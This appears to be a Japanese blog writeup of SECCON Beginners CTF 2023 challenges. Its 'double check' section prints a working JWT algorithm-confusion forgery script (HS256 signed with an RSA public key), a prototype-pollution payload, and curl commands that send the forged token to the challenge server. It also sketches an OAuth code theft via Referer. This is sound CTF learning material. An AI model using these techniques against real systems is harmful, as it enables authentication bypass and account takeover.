天才クールスレンダー美少女になりたい

チラシの表(なぜなら私はチラシの表にも印刷の上からメモを書くため)

SECCON Beginners CTF 2023 writeup

SECCON Beginners CTF 2023にチームTSGとして出ました。miscの3問(drmsaw、polyglot4b2、treasure)を残してしまいましたが、3107点で4位でした。

ちなみに私は何もしませんでした。無です。

各問題writeup

double check

const token = Object.assign({}, verified);
const user = Object.assign(req.session.user, verified);

if (token.admin && user.admin) {
  res.send(`Congratulations! Here"s your flag: ${FLAG}`);
  return;
}

なるほど、verified{"__proto__":{"admin":true}}を入れたら勝てるprototype pollutionパターンね。うんうん。実はこないだのTSG LIVE! CTFの作問をするときprototype pollutionの手法についてかなり調べたので。作問って解く側の経験値も入るんだなあ。

で、jwtどうやって倒すの?

ここで1時間弱詰まる。「jwt改竄無理では?」と言っていたら、先に解けてたチームの人(id:pizzacat83)から「sign/verifyの処理をちゃんと読んでみろ」というヒントをもらう。そして、よく見てみると……

verified = jwt.verify(
  req.header("Authorization"),
  readKeyFromFile("keys/public.key"), 
  { algorithms: ["RS256", "HS256"] }
);

ソースコードの中で燦然と輝くHS256。そ、そんなことが……www なんで気付かなかった。

qiita.com

というわけで、配布ファイルに含まれていた「公開鍵」を使ってHS256でsignして投げると解ける。 最新のjsonwebtoken@9.0.0では対策が入って、HS256でRSAの公開鍵などを指定していると設定がおかしいとエラーになる(明らかに正しくない設定だから当然)。実際の問題で使われている8.5.2を使うこと。

const jwt = require('jsonwebtoken')
const fs = require('fs')
const key = fs.readFileSync('./app/keys/public.key')
const signed = jwt.sign(`{"__proto__":{"admin":true}}`, key, { algorithm: 'HS256' })
console.log(signed)
// eyJhbGciOiJIUzI1NiJ9.eyJfX3Byb3RvX18iOnsiYWRtaW4iOnRydWV9fQ.sfnAKDZMCotVD4ocubmUKQkqN2cZPm9UI1CjgeFD-ZM

// test
console.log(Object.assign({}, jwt.verify(signed, key, {algorithms: ['HS256']})).admin) // true

よし、投げるか。

curl 'https://double-check.beginners.seccon.games/register' -X POST -H 'Content-Type: application/json' -d '{"username":"fabon","password":"hoge"}' -H "Cookie: $COOKIE"

curl 'https://double-check.beginners.seccon.games/flag' -X POST -H "Cookie: $COOKIE" -H 'Authorization: eyJhbGciOiJIUzI1NiJ9.eyJfX3Byb3RvX18iOnsiYWRtaW4iOnRydWV9fQ.sfnAKDZMCotVD4ocubmUKQkqN2cZPm9UI1CjgeFD-ZM'

Congratulations! Here"s your flag: ctf4b{Pr0707yp3_P0llU710n_f0R_7h3_w1n}

勝ち。prototype pollutionって怖いね。なお既に解いてる人がいたのでこれはチームへの貢献に含みません。

Forbidden

beginnerって書いてるし、もうチームメイトが解いてるし、その人も「やるだけ」って言ってたし、軽い気持ちで見た。

……解けない。さすがにCTF引退です。

(expressのルータがcase insentiveだったというオチ。なぜ思いつかなかった、なぜ実装を調べようとしなかった? マジでCTF引退します)

oooauth

なんも分からん。

callbackページにHTML injection可能だったので「Referer経由でcodeを盗めるのでは? 」と言ってみたところ、pizzacat氏が残りの部分(codeを消費させないようにするパート)を全部解いてくれました。強すぎる。勝てません。「協力して」というのもちょっとおこがましいレベル。私より先に問題見てたpizzacat氏が問題の整理とかもやってくれていたので、私の本質的貢献は限りなく0に近い。はい。

pizzacat83.hatenablog.com

↓こちらは作問者writeup

melonattacker.github.io

初めはCSS injectionとかiframeでゴニョゴニョとかそういうのを先に考えてたんですが、無理そうでした。

drmsaw

起きたらあと30分で、残っているmiscのうち手が出せそうなやつに取りかかった。しかしHLSへの理解が足りず、yt-dlpffmpegでいろいろ頑張ったもののタイムアップ。暗号鍵は開発者ツールのネットワークタブでキャッチできた(はずな)のであとはやるだけと思ったんだけど……全然やれなかった……

感想

CTFマジでなんもできん。号泣。

いや、ガチ初心者はさすがに脱出してると思うんですけど、実感がない。プレイヤーとしてちゃんと成長できてるんだろうか……